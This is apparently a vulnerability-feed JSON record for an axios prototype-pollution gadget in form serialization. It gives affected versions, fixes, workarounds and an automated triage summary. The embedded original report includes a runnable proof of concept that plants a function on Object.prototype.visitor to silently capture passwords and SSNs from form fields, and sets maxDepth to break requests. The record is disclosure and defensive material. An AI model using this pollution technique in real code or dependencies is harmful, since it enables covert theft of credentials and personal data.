{"id":"CVE-2026-101909","kind":"vulnerability","aliases":["CVE-2026-101909","GHSA-x97p-jq2g-jp4f"],"related":[],"title":"Axios: Prototype Pollution Gadget in axios toFormData Options","description":"## Summary\r\n\r\nAxios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.\r\n\r\nAxios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.\r\n\r\n## Impact\r\n\r\nThe impact depends on which property is polluted and which axios serialization path the application uses.\r\n\r\nPolluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.\r\n\r\n## Affected Functionality\r\n\r\nAffected:\r\n\r\n- `axios.toFormData()`.\r\n- `transformRequest` paths that serialize plain objects to `multipart/form-data`.\r\n- URL-encoded form serialization paths that rely on the same helper.\r\n- `formSerializer` option defaults when the relevant properties are absent as own properties.\r\n\r\nNot affected:\r\n\r\n- JSON request bodies.\r\n- Requests that do not invoke `toFormData()`.\r\n- Processes where `Object.prototype` is not polluted.\r\n\r\n## Technical Details\r\n\r\n`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:\r\n\r\n```js\r\n{\r\n  metaTokens: true,\r\n  dots: false,\r\n  indexes: false\r\n}\r\n```\r\n\r\nThat default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:\r\n\r\n```js\r\nconst metaTokens = options.metaTokens;\r\nconst visitor = options.visitor || defaultVisitor;\r\nconst dots = options.dots;\r\nconst indexes = options.indexes;\r\nconst _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);\r\nconst maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;\r\n```\r\n\r\nThese reads can resolve inherited polluted properties.\r\n\r\nLocal code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.\r\n\r\n## Proof of Concept of Attack\r\n\r\nConstrained local demonstration:\r\n\r\n```js\r\nObject.prototype.maxDepth = 1;\r\n\r\nawait axios.post(url, { a: { b: { c: 'value' } } }, {\r\n  headers: { 'Content-Type': 'multipart/form-data' }\r\n});\r\n```\r\n\r\nExpected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.\r\n\r\nFor serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.\r\n\r\n## Workarounds\r\n\r\nAvoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.\r\n\r\n<details>\r\n  <summary><h3>Original report</h3></summary>\r\n\r\n### Summary\r\n_axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._\r\n\r\n_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._\r\n\r\n### Details\r\n#### Root Cause\r\n_The attack chain has three steps:_\r\n_**Step 1:  `formSerializer` is read safely, but `undefined` flows through**_\r\n_In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_\r\n```js\r\nconst formSerializer = own(this, 'formSerializer');\r\n```\r\n_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_\r\n```js\r\nreturn toFormData(data, _FormData && new _FormData(), formSerializer);\r\n//                                                     ^^^^^^^^^^^^ undefined\r\n```\r\n\r\n_**Step 2: `toFlatObject` returns a plain-object default**_\r\n_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_\r\n```js\r\noptions = utils.toFlatObject(\r\n    options,                                    // undefined\r\n    { metaTokens: true, dots: false, indexes: false },  // plain object literal\r\n    false,\r\n    function defined(option, source) {\r\n        return !utils.isUndefined(source[option]);\r\n    }\r\n);\r\n```\r\n_`toFlatObject` has an early-return for null/undefined sources:_\r\n\r\n```js\r\n// lib/utils.js:607\r\nif (sourceObj == null) return destObj;\r\n```\r\n_Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._\r\n\r\n_**Step 3: Options are read without `hasOwnProp` guards**_\r\n_The six option properties are read directly from the plain object:_\r\n```js\r\nconst metaTokens = options.metaTokens;                                          // line 117\r\nconst visitor    = options.visitor || defaultVisitor;                            // line 119\r\nconst dots       = options.dots;                                                // line 120\r\nconst indexes    = options.indexes;                                             // line 121\r\nconst _Blob      = options.Blob || (typeof Blob !== 'undefined' && Blob);       // line 122\r\nconst maxDepth   = options.maxDepth === undefined                                // line 123\r\n                     ? DEFAULT_FORM_DATA_MAX_DEPTH\r\n                     : options.maxDepth;\r\n```\r\n_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._\r\n\r\n#### Why the Existing Defenses Didn't Catch This\r\n_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._\r\n\r\n### PoC\r\n#### Reproduction Steps\r\n#### Environment\r\n_Any environment with Node.js and npm. Tested on:_\r\n_- Node.js v24.15.0, npm 11.13.0_\r\n_- axios v1.18.1 (latest release at time of writing)_\r\n\r\n##### Step 1: Create a fresh project\r\n```bash\r\nmkdir axios-pp-poc\r\ncd axios-pp-poc\r\nnpm init -y\r\nnpm install axios@1.18.1\r\n```\r\n##### Step 2: Create the PoC file\r\n_Create `poc.mjs` with the following content:_\r\n```js\r\nimport axios from 'axios';\r\nimport http from 'http';\r\n\r\n// Simulate pollution from a compromised transitive dependency\r\nlet stolen = [];\r\nObject.prototype.visitor = function(value, key, path, helpers) {\r\n    stolen.push({ key, value });\r\n    return helpers.defaultVisitor.call(this, value, key, path);\r\n};\r\nObject.prototype.maxDepth = 2;\r\n\r\nconst server = http.createServer((req, res) => {\r\n    res.writeHead(200);\r\n    res.end('{}');\r\n});\r\n\r\nserver.listen(0, '127.0.0.1', async () => {\r\n    const { port } = server.address();\r\n    try {\r\n        // Exfiltration: visitor intercepts all form fields\r\n        await axios.post(`http://127.0.0.1:${port}/`, {\r\n            username: 'john',\r\n            password: 'SuperSecret123!',\r\n            profile: { ssn: '123-45-6789' }\r\n        }, { headers: { 'Content-Type': 'multipart/form-data' } });\r\n\r\n        console.log('Stolen:', stolen);\r\n        // Stolen: [\r\n        //   { key: 'username', value: 'john' },\r\n        //   { key: 'password', value: 'SuperSecret123!' },\r\n        //   { key: 'profile',  value: { ssn: '123-45-6789' } },\r\n        //   { key: 'ssn',      value: '123-45-6789' }\r\n        // ]\r\n\r\n        // DoS: nested object rejected by polluted maxDepth\r\n        await axios.post(`http://127.0.0.1:${port}/`,\r\n            { a: { b: { c: { d: 'value' } } } },\r\n            { headers: { 'Content-Type': 'multipart/form-data' } }\r\n        );\r\n        // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED\r\n        //   \"Object is too deeply nested (3 levels). Max depth: 2\"\r\n    } finally {\r\n        delete Object.prototype.visitor;\r\n        delete Object.prototype.maxDepth;\r\n        server.close();\r\n    }\r\n});\r\n```\r\n##### Step 3: Run the PoC\r\n```bash\r\nnode poc.mjs\r\n```\r\n\r\n\r\n### Impact\r\n#### 1. Data Exfiltration via `visitor` (Confidentiality: High)\r\n_A polluted `Object.prototype.visitor` function is called as the form data visitor:_\r\n```js\r\nvisitor.call(formData, el, key, path, exposedHelpers)\r\n```\r\n_The attacker receives:_\r\n_- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_\r\n_- **`key`** — the field name_\r\n_- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_\r\n_- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_\r\n\r\n_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._\r\n\r\n#### 2. Denial of Service via `maxDepth` (Availability: Low)\r\n_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._\r\n\r\n#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)\r\n_Polluting these options changes the serialization format of form field names:_\r\n_- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_\r\n_- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_\r\n_- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_\r\n\r\n_The server may misinterpret the submitted form data, leading to silent data corruption._\r\n</details>","summary":"Axios reads several form serializer options without own-property checks, so a prototype pollution elsewhere in the same process can change how multipart and URL-encoded request bodies are built. An attacker who already controls Object.prototype can read submitted form values through a polluted visitor function or cause nested form submissions to fail with ERR_FORM_DATA_DEPTH_EXCEEDED.","severity":"high","cvss":8.3,"epss":0.00497,"exploited":false,"exploited_at":null,"products":[{"name":"axios","note":">=0.28.0","fixed":[">=0.34.0"],"affected":">= 0.28.0","ecosystem":"npm"},{"name":"axios","note":">=1.15.1","fixed":[">=1.20.0"],"affected":">= 1.15.1","ecosystem":"npm"},{"name":"axios","fixed":["0.34.0"],"affected":">= 0.28.0, < 0.34.0","ecosystem":"npm"},{"name":"axios","fixed":["1.20.0"],"affected":">= 1.15.1, < 1.20.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["axios","cwe-1321","multipart","node.js","npm","package","prototype-pollution"],"not_affected_if":["json-only","no-form-serialization","no-prototype-pollution"],"how_to_check":"- Check the installed axios version with `npm ls axios`, and look for axios `>= 0.28.0, < 0.34.0` or `>= 1.15.1, < 1.20.0` in the lockfile.\n- Find whether the app calls `axios.toFormData()` or posts plain objects with `Content-Type: multipart/form-data` or URL-encoded bodies.\n- Check whether the process has any prototype pollution source, such as a compromised transitive dependency.","fix":"- `axios` `0.34.0` for the 0.x line\n- `axios` `1.20.0` for the 1.x line","status":"open","published_at":"2026-09-16T08:59:17+00:00","first_seen_at":"2026-11-09T22:53:18+00:00","triaged_at":"2026-11-09T22:59:05+00:00","updated_at":"2026-11-09T22:59:05+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-09T22:59:05Z","model":"claude-haiku-5-5","output":{"fix":"- `axios` `0.34.0` for the 0.x line\n- `axios` `1.20.0` for the 1.x line","reach":"unknown","title":"Axios: prototype pollution changes form serialization and can leak form data","impact":"medium","summary":"Axios reads several form serializer options without own-property checks, so a prototype pollution elsewhere in the same process can change how multipart and URL-encoded request bodies are built. An attacker who already controls Object.prototype can read submitted form values through a polluted visitor function or cause nested form submissions to fail with ERR_FORM_DATA_DEPTH_EXCEEDED.","audience":"developers","category":"package","nicknames":[],"who_cares":["axios","node.js","npm","multipart","prototype-pollution"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Form data can be read by a polluted visitor function; requests fail with depth errors.","analyst_note":"","how_to_check":"- Check the installed axios version with `npm ls axios`, and look for axios `>= 0.28.0, < 0.34.0` or `>= 1.15.1, < 1.20.0` in the lockfile.\n- Find whether the app calls `axios.toFormData()` or posts plain objects with `Content-Type: multipart/form-data` or URL-encoded bodies.\n- Check whether the process has any prototype pollution source, such as a compromised transitive dependency.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["json-only","no-prototype-pollution","no-form-serialization"],"who_is_affected":"Applications that run axios in the affected ranges and serialize plain objects to multipart or URL-encoded form bodies are exposed, but only when Object.prototype is polluted in the same process. The sources state that JSON request bodies and requests that never call toFormData() are not affected, and that processes without prototype pollution are not affected. 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For higher limits or API access: sales@infrastack.ai"}